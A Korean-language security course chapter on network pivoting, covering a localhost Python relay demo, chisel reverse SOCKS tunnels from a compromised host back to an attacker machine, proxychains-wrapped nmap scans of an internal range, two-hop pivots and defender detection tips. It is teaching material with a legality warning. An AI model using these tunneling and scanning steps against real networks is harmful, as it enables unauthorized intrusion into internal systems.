Step 264. 피벗팅 심화 — 장악한 머신을 통과해 내부망으로
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 163(SSH 터널링과 포트 포워딩)을 마쳤다. Step 162(프록시와 익명화)의 SOCKS 개념과 Step 161(방화벽)의 인바운드/아웃바운드 구분을 압니다.
- 준비물: 파이썬 3(원리 실측용), (선택) 이중 네트워크 랩 — VirtualBox VM 2대(경유지: NIC 2개, 내부 타깃: 내부 전용 NIC 1개), Kali 1대.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. HackTheBox(HTB)는 이런 훈련을 위해 허가가 내장된 합법 플랫폼입니다 — 그 바깥의 실제 네트워크에서 피벗팅을 시도하는 것은 침입입니다.
- 검증 안내: 이 챕터의 파이썬 3단 체인 출력은 2026-09-09에 localhost에서 실측했습니다. chisel·proxychains·nmap의 화면은 랩 구성이 필요해 출력 예시로 표시했습니다.
Step 163에서 여러분은 터널 하나를 팠습니다. 실전 침투 테스트에서는 터널 하나로 끝나지 않습니다 — 외부에서 보이는 웹 서버를 장악해 보니, 그 너머에 외부망에서 절대 닿지 않는 내부망이 또 있습니다. 장악한 머신을 거점(피벗) 삼아, 내 공격 도구의 트래픽을 그 안으로 흘려 보내는 기술이 피벗팅입니다. 오늘은 "경유하지 않으면 닿을 수 없는 구조"를 localhost 위의 파이썬으로 직접 증명하고, 실전 표준 도구인 chisel + proxychains 조합으로 옮겨 적습니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 이중 네트워크(DMZ 안쪽의 내부망) 구조에서 피벗팅이 왜 필요한지 그림으로 설명한다
- "경유지를 통해야만 닿는 구조"를 파이썬 포워더 2개 층으로 재현하고 로그를 해석한다
- chisel의 리버스 SOCKS 터널(
R:socks)이 Step 163의 어느 옵션과 대응하는지 설명한다 - proxychains로 nmap 등 임의 도구를 터널에 태우되,
-sT만 된다는 제약을 안다 - 방어자 관점에서 피벗의 흔적(새 프로세스, 낯선 아웃바운드 연결)을 짚는다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3(원리 실측) + Kali(실전 조합) + 이중 네트워크 랩 VM |
| 오늘의 명령 | chisel server -p 9000 --reverse, chisel client KALI_IP:9000 R:socks, proxychains nmap -sT 내부IP |
| 필요한 개념 | 포트 포워딩 3방향(Step 163), SOCKS 프록시(Step 162), DMZ·내부망 분리, 리버스 연결 |
| 오늘의 산출물 | 3단 체인 실측 로그 + 피벗 구조도 1장 + 도구 조합 절차서 |
2-1. 실전 네트워크는 겹겹이다 — 이중 네트워크 구조
잘 설계된 기업망은 한 장의 벽이 아닙니다. 외부에서 닿는 DMZ(웹 서버, 메일 게이트웨이)와, 직원 PC·DB·도메인 컨트롤러가 사는 내부망이 분리되어 있고, 둘 사이에는 방화벽이 있습니다.
공격자가 DMZ의 웹 서버를 장악했다고 합시다. 그 순간 공격자의 시야가 바뀝니다 — 그 머신은 NIC를 두 개 갖고 있어서, 하나는 외부를 향하고 하나는 내부망을 향합니다. 외부에서는 스캔해도 나오지 않던 10.10.20.0/24 대역이, 장악한 머신 위에서는 ip a 한 줄로 보입니다.
문제는 "보인다"와 "닿는다"가 다르다는 것입니다. 내부망으로 패킷을 보낼 수 있는 건 경유지뿐이고, 여러분의 Kali에 있는 nmap·크래커·익스플로잇은 전부 경유지 밖에 있습니다. 이 간극을 잇는 것이 피벗팅입니다.
2-2. 피벗의 본질 — Step 163의 터널을 거점 위에 올리기
Step 163에서 배운 것을 기억하세요. 포트 포워딩의 본질은 소켓 중계이고, SSH는 그 중계에 인증과 암호화를 얹은 것뿐이었습니다.
피벗팅은 같은 중계를 장악한 머신 위에서 돌리는 것입니다. 경유지에 중계 프로그램(에이전트)을 올리면, 내 Kali에서 보낸 "10.10.20.15의 445를 두드려 줘"라는 요청이 경유지를 거쳐 내부망으로 나갑니다. 내부 서버 입장에서 이 연결의 출발지는 공격자가 아니라 경유지입니다 — 그래서 내부 방화벽 정책상 정상적인 사내 통신으로 보입니다.
이 구조에서 경유지를 피벗(pivot, 회전축)이라 부릅니다. 공격의 축을 외부에서 경유지로 옮겨, 그 지점을 중심으로 내부를 회전하며 보는 그림이기 때문입니다.
2-3. chisel — 리버스 터널의 현대 표준
SSH로도 피벗은 되지만, 실전에서 더 자주 쓰는 도구가 chisel입니다. 단일 바이너리 하나가 서버이자 클라이언트이고, HTTP 위에 터널을 얹기 때문에 443만 열린 환경에서도 잘 지나갑니다.
핵심 조합은 리버스 SOCKS입니다.
[Kali] chisel server -p 9000 --reverse ← 문을 열고 기다림
[경유지] chisel client KALI_IP:9000 R:socks ← 경유지가 '나가는' 연결로 터널 개통
R:socks의 R은 Step 163의 -R과 같은 글자입니다 — 문(리스닝 소켓)이 반대편(Kali)에 생깁니다. 이 한 줄이 완료되면 Kali의 1080번 포트에 SOCKS5 프록시가 열리고, 그 출구는 경유지의 내부망 쪽 NIC입니다.
왜 리버스인가를 Step 161과 연결하세요. 내부망으로 들어오는 연결은 방화벽이 막지만, 경유지가 밖으로 나가는 연결은 대개 허용됩니다. 그래서 문을 여는 쪽(Kali)이 기다리고, 장악한 머신이 먼저 나가서 손을 잡는 모양이 됩니다.
2-4. proxychains와 제약 — 모든 도구가 터널을 타지는 못한다
터널이 열렸으면 도구를 태워야 합니다. /etc/proxychains4.conf 끝에 socks5 127.0.0.1 1080을 적으면, proxychains <명령>으로 감싼 프로그램의 TCP 연결이 전부 터널로 들어갑니다.
여기에 반드시 알아야 할 제약 둘이 있습니다.
- nmap은
-sT(connect 스캔)만 됩니다. 기본 SYN 스캔(-sS)은 raw 소켓으로 직접 패킷을 만들어 쏘는데, 이는 애플리케이션의 TCP 호출을 가로채는 proxychains의 방식으로는 잡히지 않습니다. SOCKS 안에서는 완전한 TCP 악수를 하는 connect 스캔만 지나갑니다. - ICMP(ping)는 아예 지나가지 않습니다. SOCKS는 TCP(구현에 따라 UDP 일부)만 나릅니다.
-sn핑 스윕이 조용히 실패하면 이것이 원인입니다.
즉 터널 속 스캔은 느리고 제한적입니다. 이 답답함이 정상임을 알아야 "도구가 고장 났나" 하는 헛된 삽질을 줄일 수 있습니다.
3. 따라 하기
3-0. 오늘의 실습 구조 — localhost에서 겹겹의 망을 접는다
랩 VM 없이도 피벗의 핵심 성질("경유해야만 닿는다")을 증명할 수 있습니다. 포트를 달리해 역할을 나눕니다.
공격자(여러분) ──직접──> 127.0.0.1:18080 (내부 서버) → 403 거부
공격자(여러분) ──> 127.0.0.1:19000 (장악한 경계 머신) ──> 내부 서버 → 200 성공
"내부망에 못 닿는다"는 조건은 내부 서버가 비밀 헤더(X-Edge-Key) 없는 요청을 403으로 거절하게 해서 모사합니다. 경계 머신(포워더)만 이 헤더를 알고 있어서, 중계하면서 붙여 줍니다 — 실전에서 "내부망 도달 자격"이 경유지에만 있는 것과 같은 구조입니다.
3-1. 실측 — 3단 체인 피벗 모형
아래 파일을 pivot_chain264.py로 저장합니다. 내부 서버, 경계 머신(포워더), 공격자 역할을 한 스크립트가 전부 맡습니다.
"""피벗팅 3단 체인 모사 — 경유지를 통해야만 내부에 닿는다."""
import http.server
import socket
import threading
import urllib.request
import urllib.error
INTERNAL_HOST, INTERNAL_PORT = "127.0.0.1", 18080
PIVOT_HOST, PIVOT_PORT = "127.0.0.1", 19000
EDGE_KEY = "dmz-edge-9f3c" # 내부망 도달 자격(모사). 경계 머신만 안다.
class InternalHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.headers.get("X-Edge-Key") == EDGE_KEY:
body = b"<h1>internal DB admin page - TOP SECRET</h1>"
self.send_response(200)
else:
body = b"403 Forbidden - internal network only"
self.send_response(403)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
pass
def relay(src, dst, tag):
try:
while True:
data = src.recv(4096)
if not data:
break
print(f"[피벗 로그] {tag} {len(data)}바이트 중계")
dst.sendall(data)
except OSError:
pass
finally:
try:
src.shutdown(socket.SHUT_RDWR)
dst.shutdown(socket.SHUT_RDWR)
except OSError:
pass
src.close(); dst.close()
def inject_and_relay(client, upstream):
"""공격자->내부 방향: 요청 첫 줄 뒤에 X-Edge-Key 헤더를 삽입한다."""
data = client.recv(4096)
if not data:
client.close(); upstream.close(); return
if b"\r\n" in data:
head, rest = data.split(b"\r\n", 1)
data = head + b"\r\nX-Edge-Key: " + EDGE_KEY.encode() + b"\r\n" + rest
print(f"[피벗 로그] 공격자->내부 {len(data)}바이트 중계 (X-Edge-Key 주입)")
upstream.sendall(data)
relay(client, upstream, "공격자->내부")
def pivot_server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((PIVOT_HOST, PIVOT_PORT))
srv.listen(5)
print(f"[피벗 기동] 경계 머신 {PIVOT_HOST}:{PIVOT_PORT} -> 내부 {INTERNAL_HOST}:{INTERNAL_PORT}")
while True:
client, addr = srv.accept()
print(f"[피벗 로그] 공격자 연결 수락 {addr[0]}:{addr[1]}")
upstream = socket.create_connection((INTERNAL_HOST, INTERNAL_PORT))
threading.Thread(target=inject_and_relay, args=(client, upstream), daemon=True).start()
threading.Thread(target=relay, args=(upstream, client, "내부->공격자"), daemon=True).start()
def request(url, label):
print(f"\n=== {label}: GET {url} ===")
try:
with urllib.request.urlopen(url, timeout=5) as r:
print(f"HTTP {r.status}")
print(r.read().decode())
except urllib.error.HTTPError as e:
print(f"HTTP {e.code}")
print(e.read().decode())
def main():
internal = http.server.HTTPServer((INTERNAL_HOST, INTERNAL_PORT), InternalHandler)
threading.Thread(target=internal.serve_forever, daemon=True).start()
print(f"[내부 서버 기동] {INTERNAL_HOST}:{INTERNAL_PORT} (X-Edge-Key 없으면 403)")
threading.Thread(target=pivot_server, daemon=True).start()
import time
time.sleep(0.5)
request(f"http://{INTERNAL_HOST}:{INTERNAL_PORT}/", "직접 접근(피벗 없음)")
request(f"http://{PIVOT_HOST}:{PIVOT_PORT}/", "피벗 경유(장악 머신 통과)")
internal.shutdown()
print("\n[종료] 실측 완료")
if __name__ == "__main__":
main()
입력:
python -u pivot_chain264.py
출력 (2026-09-09 실측):
[내부 서버 기동] 127.0.0.1:18080 (X-Edge-Key 없으면 403)
[피벗 기동] 경계 머신 127.0.0.1:19000 -> 내부 127.0.0.1:18080
=== 직접 접근(피벗 없음): GET http://127.0.0.1:18080/ ===
HTTP 403
403 Forbidden - internal network only
=== 피벗 경유(장악 머신 통과): GET http://127.0.0.1:19000/ ===
[피벗 로그] 공격자 연결 수락 127.0.0.1:61933
[피벗 로그] 공격자->내부 146바이트 중계 (X-Edge-Key 주입)
[피벗 로그] 내부->공격자 138바이트 중계
[피벗 로그] 내부->공격자 44바이트 중계
HTTP 200
<h1>internal DB admin page - TOP SECRET</h1>
[종료] 실측 완료
읽는 법: 같은 내부 페이지에 두 가지 결과가 나왔습니다. 직접 두드리면 403 Forbidden - internal network only, 피벗(19000)을 거치면 200과 비밀 페이지입니다. 차이를 만든 것은 경계 머신뿐입니다 — 로그의 "공격자 연결 수락 → 공격자->내부 중계 → 내부->공격자 중계" 세 줄이 피벗의 전부입니다. Step 163의 포워더가 기억나시나요? 방금 실행한 것은 그 중계 루프에 "경유지만 아는 자격"을 얹은 버전이고, 이것이 피벗팅의 정확한 구조입니다.
3-2. 실전 조합으로 옮기기 — chisel 리버스 SOCKS
모형에서 잡은 구조를 실전 도구에 대응시킵니다. 랩이 있다면 따라 하고, 없다면 출력 예시로 구조를 읽으세요.
입력 (Kali — 문을 여는 쪽):
chisel server -p 9000 --reverse
입력 (장악한 경유지 — 나가는 쪽):
./chisel client 10.10.14.8:9000 R:socks
출력 예시 (Kali 쪽):
2026/09/09 14:03:11 server: Reverse tunnelling enabled
2026/09/09 14:03:11 server: Fingerprint XXXX...
2026/09/09 14:03:11 server: Listening on http://0.0.0.0:9000
2026/09/09 14:03:25 server: session#1: Client version (1.9.1) differs from server version (1.10.1)
2026/09/09 14:03:25 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
읽는 법: 마지막 줄이 핵심입니다 — Kali의 127.0.0.1:1080에 SOCKS 문이 열렸고, 그 출구는 경유지 너머입니다. 주목할 점은 연결의 방향입니다. Kali는 기다렸고(Listening), 경유지가 나가서 잡았습니다(session#1) — 3-1의 모형에서 "경유지가 내부로 연결을 만들어 주는" 역할과 같고, Step 163의 -R과 같은 리버스 구조입니다.
3-3. 터널에 도구 태우기 — proxychains
/etc/proxychains4.conf 마지막 줄을 확인·수정합니다.
tail -1 /etc/proxychains4.conf
# socks5 127.0.0.1 1080
이제 임의의 TCP 도구가 터널을 탑니다.
입력:
proxychains nmap -sT -Pn 10.10.20.15
출력 예시:
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94 ( https://nmap.org )
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.20.15:445 ... OK
Nmap scan report for 10.10.20.15
PORT STATE SERVICE
445/tcp open microsoft-ds
3306/tcp open mysql
읽는 법: Strict chain ... OK 줄은 각 연결이 SOCKS 체인을 통과했음을 보여 줍니다. 내 Kali가 직접 갈 수 없는 10.10.20.15의 열린 포트가 보입니다 — 스캔의 출발점이 경유지로 바뀐 것입니다. -Pn을 붙인 이유를 기억하세요: ping이 SOCKS를 못 타니, 호스트 생존 확인을 생략한 것입니다.
3-4. 2단 피벗 — 내부 안의 또 다른 내부
깊은 네트워크에서는 피벗이 연쇄됩니다. 첫 경유지 너머의 내부 서버를 장악했더니, 그 너머에 또 격리된 대역(예: OT망, 10.20.30.0/24)이 있는 경우입니다.
방법은 같은 일의 반복입니다 — 두 번째 장악 머신에도 chisel을 올리고, 첫 번째 터널을 타고 R:socks를 걸어 SOCKS를 겹칩니다. proxychains 설정에 socks5 127.0.0.1 1080 아래로 socks5 127.0.0.1 1081을 추가하면, 연결은 Kali → 경유지1 → 경유지2 → 최종 목적지로 흐릅니다.
읽는 법: 3-1 모형을 떠올리면 겹침은 자연스럽습니다 — 포워더를 하나 더 세우고, 두 번째 포워더의 목적지를 첫 번째 포워더의 입구로 지정하면 됩니다. 단, 홉이 늘 때마다 지연과 불안정이 커집니다. "가능하다"와 "실용적이다"는 다르며, 실무 피벗은 보통 2~3홉이 한계입니다.
3-5. 방어자의 눈 — 피벗은 어떻게 보이는가
터널 안의 내용은 암호화되어 보이지 않지만, 피벗 자체는 흔적을 남깁니다.
경유지 위에서는 평소에 없던 프로세스(chisel.exe, ligolo 등)가 뜨고, 평소에 없던 아웃바운드 연결(내부 서버가 외부 IP의 443으로 상시 연결)이 생깁니다. 네트워크 관점에서는 "웹 서버가 내부 DB 대역 전체를 스캔하는" 비정상 동작이 보입니다 — 정상 웹 서버는 10.10.20.0/24 전체에 connect를 시도하지 않습니다.
Step 161에서 방화벽 정책을 짤 때 "서버에서 나가는 연결도 제한한다"고 배웠던 이유가 여기 있습니다. DMZ 서버의 아웃바운드를 꼭 필요한 목적지로만 좁혀 두면, 장악당해도 피벗이 성립하지 않습니다 — 문을 지키는 것만큼, 문 뒤의 길목을 좁히는 것이 방어입니다.
4. 미션과 연습문제
미션 — 피벗 구조의 증명과 설계
- 3-1의 스크립트를 실행해 "직접 접근 403 / 피벗 경유 200"의 대비와 피벗 로그(연결 수락 + 양방향 중계)를 캡처하세요.
- 스크립트에서
EDGE_KEY값을 바꾼 뒤 다시 실행하고, 결과가 동일하게 재현됨을 확인하세요 — "자격"이 경유지에만 있음이 구조에서 오는지 생각해 보세요. - 구조도를 그리세요: Kali → (chisel 리버스 SOCKS) → 경유지(DMZ+내부 NIC) → 내부 타깃. 각 구간에 프로토콜과 방향(누가 먼저 연결하는가)을 적으세요.
- (랩 보유 시) chisel + proxychains로 내부 타깃을
-sT스캔한 결과를 남기세요. (랩이 없으면) 2-4의 두 제약이 왜 생기는지 3~5줄로 설명하세요.
연습문제
문제 1. 피벗팅에서 내부 서버가 보는 연결의 출발지는 누구인가요? 이것이 내부 방화벽 정책을 우회하는 원리와 어떻게 연결되나요?
문제 2. chisel client KALI_IP:9000 R:socks에서 R의 의미를, Step 163의 -R과 비교해 설명하세요. 왜 피벗에는 리버스(-R 계열)가 잘 맞나요?
문제 3. proxychains를 씌운 nmap에서 -sS(SYN 스캔)가 아니라 -sT만 써야 하는 이유를, raw 소켓과 proxychains의 동작 방식 차이로 설명하세요.
문제 4. 3-1 실측에서 직접 접근이 403이었습니다. 실전 랩에서 이에 해당하는 장면(직접 접근이 불가능한 이유)은 무엇이며, 그 불가능이 피벗 후에 어떻게 해소되나요?
5. 모범 답안과 완료 기준
미션 모범 답안
1번: 성공 기록의 핵심은 세 장면입니다 — "직접 접근: HTTP 403", "피벗 경유: HTTP 200 + TOP SECRET 페이지", 그리고 로그의 "연결 수락 → 공격자->내부 중계 → 내부->공격자 중계" 순서. 2026-09-09 실측에서 이 순서가 확인됐습니다(바이트 수는 실행마다 조금씩 다를 수 있습니다).
2번: 키를 바꿔도 결과는 같습니다. 중요한 것은 키의 값이 아니라 키를 아는 주체가 경유지뿐이라는 구조입니다. 공격자 코드에는 키가 없고, 피벗 코드에만 있습니다 — 실전에서 "내부망 라우팅 가능성"이 경유지에만 있는 것과 같습니다.
3번 그림의 정답 뼈대: Kali(chisel server, 9000 대기) <──경유지가 먼저 연결── 경유지 ──내부망──> 내부 타깃. 화살표 두 개의 방향이 반대임에 주의하세요 — 터널 수립은 경유지→Kali(아웃바운드), 데이터 요청은 Kali→내부 타깃 방향으로 흐릅니다.
4번(랩 없을 때): SYN 스캔은 OS의 TCP 스택을 거치지 않고 raw 패킷을 직접 만들어내므로, 애플리케이션의 TCP 호출을 가로채 SOCKS로 넘기는 proxychains가 잡을 수 없습니다. ICMP는 애초에 SOCKS의 취급 범위(TCP) 밖이라 터널을 타지 못합니다.
검증하는 법: ① 403/200 대비가 캡처됐는가. ② 구조도에 "연결 수립 방향"과 "데이터 방향"이 구분되어 있는가. ③ -sT·ICMP 제약의 이유가 도구 결함이 아니라 동작 원리로 설명되는가.
연습문제 해답
문제 1 해답. 경유지입니다. 피벗의 모든 연결은 경유지 위의 중계 프로그램이 새로 만든 연결이므로, 내부 서버의 로그에는 경유지의 내부 IP가 찍힙니다. 내부 방화벽이 "사내 대역에서 온 통신은 허용"이라는 정책이라면, 공격 트래픽이 정책상 정상 통신으로 보이게 됩니다 — 이것이 피벗이 무서운 이유이고, 그래서 "내부끼리는 믿는다"는 설계 자체가 위험이 됩니다.
문제 2 해답. R은 문(리스닝 소켓)이 반대편에 생긴다는 뜻입니다 — Step 163의 -R과 같습니다. 이 경우 문은 Kali의 1080에 열리고(SOCKS), 경유지는 연결을 나가서 만드는 쪽입니다. 리버스가 잘 맞는 이유는 방화벽의 비대칭 때문입니다 — 들어오는 연결은 막혀도 나가는 연결은 허용되는 경우가 많아, 장악한 머신이 밖으로 손을 내미는 모양만 성립하기 쉽습니다.
문제 3 해답. proxychains는 프로그램이 OS에 요청하는 TCP 연결(connect 호출)을 가로채 SOCKS 서버에 대신 연결하게 합니다. 그런데 -sS SYN 스캔은 이 정상 호출을 쓰지 않고 raw 소켓으로 SYN 패킷을 직접 조립해 보냅니다 — 가로챌 "호출"이 없으므로 터널에 실리지 않고 로컬에서 직접 나갑니다. -sT는 정상 connect 호출을 쓰기 때문에 가로채기가 작동합니다.
문제 4 해답. 실전에서 403에 해당하는 것은 라우팅 불가·방화벽 차단입니다 — 내부 대역(10.10.20.0/24)은 인터넷에서 경로가 없고, DMZ와 내부망 사이 방화벽이 외부에서의 직접 접근을 거부합니다. 피벗 후에는 연결의 출발점이 경유지로 바뀌면서 이 차단이 사라집니다 — 3-1에서 헤더가 주입되자 200이 된 것처럼, "경유지만 가진 자격"이 연결에 실리기 때문입니다.
완료 기준 체크리스트
- [ ] 이중 네트워크에서 피벗이 필요한 이유를 그림으로 설명할 수 있다
- [ ] 3-1 스크립트를 실행해 403/200 대비와 중계 로그를 확보했다
- [ ] 피벗 후 내부 서버 로그에 찍히는 출발지가 경유지임을 안다
- [ ] chisel의
R:socks가 리버스이며, 왜 리버스여야 하는지 설명할 수 있다 - [ ] proxychains + nmap에서
-sT와-Pn이 필요한 이유를 안다 - [ ] 2단 피벗의 구조(체인 겹침)와 홉 증가의 대가를 설명할 수 있다
- [ ] 피벗의 방어 지점(아웃바운드 제한, 비정상 스캔 탐지)을 두 가지 이상 말할 수 있다
6. 흔한 실수와 해결
벽 1. 직접 접근인데 403이 나온다 — "내부 서버가 고장 났나?"
증상 (2026-09-09 실측):
=== 직접 접근(피벗 없음): GET http://127.0.0.1:18080/ ===
HTTP 403
403 Forbidden - internal network only
원인: 고장이 아니라 설계입니다. 내부 서버는 경유지의 표식 없는 요청을 거부하도록 만들어져 있습니다 — 실전의 "라우팅 불가/방화벽 거부"에 해당합니다.
해결: 403이 나오는 것이 정상 동작임을 확인하고, 포워더(19000)로 접근하세요. 403과 200의 대비 자체가 오늘 실습의 증명입니다.
벽 2. "chisel client가 연결을 못 잡는다"
증상 (출력 예시):
client: Connection error: websocket: bad handshake
또는
client: Failed to connect to 10.10.14.8:9000: dial tcp ... connect: connection refused
원인: 순서가 뒤집혔거나 방화벽 문제입니다. Kali 쪽 chisel server가 먼저 떠 있어야 하고, --reverse 옵션이 빠지면 R: 계열이 거부됩니다. refused는 Kali의 9000이 열리지 않았다는 뜻입니다(Step 163 벽 1과 같은 해석).
해결: 서버를 먼저 --reverse로 기동하고, Kali의 방화벽에서 9000 인바운드를 허용했는지 확인하세요. 경유지에서 curl http://KALI_IP:9000으로 도달성을 먼저 검사하면 원인이 갈립니다.
벽 3. "proxychains를 씌웠는데 nmap이 전부 closed라고 한다"
증상 (출력 예시):
Nmap scan report for 10.10.20.15
All 1000 scanned ports on 10.10.20.15 are in ignored states.
원인: 대표적으로 둘입니다. ① -sS로 스캔했다 — SYN 패킷이 터널을 안 타고 로컬로 새 나갔습니다. ② ping 생존 확인에서 호스트를 죽은 것으로 판정했다 — ICMP는 SOCKS를 못 탑니다.
해결: proxychains nmap -sT -Pn 대상 형태를 고정하세요. -Pn으로 핑 판정을 끄고, -sT로 connect 스캔만 씁니다. 느린 것은 정상입니다.
벽 4. "socks 포트가 이미 쓰인다고 나온다"
증상 (출력 예시):
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
...
Error listening on 127.0.0.1:1080: listen tcp 127.0.0.1:1080: bind: address already in use
원인: 전에 띄운 터널(또는 ssh -D)이 1080을 잡고 있습니다. Step 163 실습의 흔적이 남아 있는 경우가 많습니다.
해결: ss -lntp | grep 1080(또는 sudo lsof -i :1080)로 점유 프로세스를 찾아 끊거나, 이번 터널은 R:1081:socks처럼 다른 포트로 열고 proxychains 설정도 맞춰 바꾸세요. 2단 피벗을 할 때는 포트를 겹치지 않게 배정하는 습관이 필요합니다.
벽 5. "터널은 살아 있는데 도구가 로컬 결과를 보여 준다"
증상: proxychains를 씌운 것 같은데 스캔 결과가 내부망이 아니라 내 로컬 대역 얘기입니다.
원인: 명령에 proxychains 접두를 빠뜨렸거나, 대상 주소를 잘못 적어 로컬 호스트를 스캔한 경우입니다. proxychains는 접두로 씌운 그 프로세스에만 적용됩니다 — 터미널 전체가 터널 안으로 들어가는 것이 아닙니다.
해결: 명령 앞의 proxychains를 확인하고, 출력에 Strict chain ... OK 줄이 찍히는지로 통과 여부를 매번 검증하세요. 이 줄이 없으면 터널을 탄 것이 아닙니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 피벗팅 | 장악한 머신을 거점 삼아 그 너머 네트워크로 이동하는 기법 |
| 이중 네트워크 | DMZ와 내부망이 방화벽으로 분리된 실전형 구조 |
| 경유지(pivot host) | 두 망에 다리를 걸친 장악 머신 — 피벗의 회전축 |
| chisel | 단일 바이너리로 HTTP 위 터널을 만드는 현대 표준 도구 |
R:socks |
반대편(Kali)에 SOCKS 문을 여는 chisel의 리버스 터널 |
| proxychains | 프로그램의 TCP connect를 가로채 SOCKS로 보내는 래퍼 |
| 2단 피벗 | 터널 안에 터널을 겹쳐 더 깊은 망으로 들어가는 연쇄 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
chisel server -p 9000 --reverse |
Kali에 문을 열고 경유지의 접속을 기다림 |
./chisel client KALI_IP:9000 R:socks |
경유지가 나가는 연결로 SOCKS 터널 개통 |
tail -1 /etc/proxychains4.conf |
SOCKS 주소(socks5 127.0.0.1 1080) 확인 |
proxychains nmap -sT -Pn 10.10.20.15 |
터널 경유 내부 스캔(connect 전용) |
ss -lntp | grep 1080 |
SOCKS 포트 점유 확인 |
python -u pivot_chain264.py |
피벗 구조 원리 모형 실행 |
명령어보다 중요한 감각
오늘 실측이 보여 준 것은 단순합니다. 같은 페이지가 직접 가면 403이고, 경유지를 거치면 200이었습니다 — 차이는 내용이 아니라 연결의 출발점이었습니다. 피벗팅의 모든 도구(chisel, ligolo, ssh -D)는 결국 이 출발점을 옮기는 기계입니다.
그리고 Step 163에서 배운 리버스의 비대칭이 오늘 다시 일했습니다 — 방화벽은 들어오는 손은 막아도 나가는 손은 허락하고, 공격은 그 허락된 방향을 탑니다. 방어자라면 이 문장을 뒤집으세요. "나가는 연결도 목적지를 좁힌다"가 피벗을 끊는 첫 번째 정책입니다.
전부 체크되면 Step 264 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.